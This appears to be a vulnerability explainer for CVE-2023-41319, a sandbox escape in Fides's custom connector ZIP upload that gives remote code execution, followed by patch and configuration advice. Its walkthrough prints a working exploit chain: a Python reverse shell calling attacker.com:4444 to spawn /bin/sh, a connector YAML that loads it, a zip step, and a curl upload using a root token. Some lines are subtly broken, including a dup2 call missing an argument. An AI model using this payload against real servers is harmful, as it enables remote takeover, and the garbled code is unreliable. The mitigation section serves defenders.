CVE-2023-41319 - Sandbox Escape in Fides Custom Connector Upload Allows Remote Code Execution

A major vulnerability, CVE-2023-41319, was discovered in Fides — a widely-used open-source platform for privacy engineering and automated privacy requests. This flaw lets an attacker run any code of their choice when certain configuration conditions are met, exposing the underlying server to significant risk. This article offers an exclusive, simple-language breakdown: how the bug works, how hackers might exploit it, and how to protect your systems.

What is Fides?

Fides is a tool for handling privacy requests and enforcing privacy rules in your applications. You can use the Fides webserver API to upload custom integrations in the form of ZIP files. Usually, these ZIPs contain only YAML files, but you can optionally allow Python code as part of your custom integrations for advanced logic.

Where’s the Problem?

The API endpoint for uploading connector ZIP files is powerful — maybe too powerful. If the server configuration enables a special option (allow_custom_connector_functions), a user can upload Python scripts embedded in their ZIP file.

Fides tries to execute that code in a "sandbox," a restricted place where code shouldn't do much harm. But this sandbox can be bypassed. If an attacker is a highly-privileged API client (root/owner role with CONNECTOR_TEMPLATE_REGISTER scope), they can upload a ZIP containing malicious Python. When the integration is processed, their code is executed—giving them the same permissions as the webserver, which often runs as root.

Walkthrough: Crafting a ZIP Exploit

Below, we’ll show how an attacker might exploit this in a test environment. Never run untrusted code in production!

Let’s say the attacker wants to open a reverse shell to their own system

# evil.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("attacker.com",4444))
os.dup2(s.fileno(),)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Include a minimal connector YAML (required by Fides)

# connector.yaml
id: "malicious-connector"
name: "Malicious Connector"
description: "This connector executes arbitrary code"
functions:
  - file: evil.py

3. Zip them up

zip exploit.zip connector.yaml evil.py

Use an API token with the required scope

curl -X POST "http://fides-server/api/v1/connector_template/upload"; \
    -H "Authorization: Bearer <YOUR_ROOT_API_TOKEN>" \
    -F "file=@exploit.zip"

How to Protect Yourself

The best fix is simple: Upgrade to Fides 2.19. or later. Patched releases remove the vulnerability.

allow_custom_connector_functions in fides.toml is set to false (or not set at all)

- The environment variable FIDES__SECURITY__ALLOW_CUSTOM_CONNECTOR_FUNCTIONS is unset or set to False

Double-check your API user roles and audit recent connector uploads for suspicious files.

References

- Fides Advisory
- NVD Entry for CVE-2023-41319
- Original Fides Documentation

Conclusion

Fides is a powerful privacy tool, but highly privileged features can be dangerous if not locked down. CVE-2023-41319 is a perfect example of why default-deny configuration and least-privilege access are so important, even for trusted internal staff. Upgrade now, and review your configuration and user roles to stay safe!

Timeline

Published on: 09/06/2023 18:15:00 UTC
Last modified on: 09/13/2023 14:25:00 UTC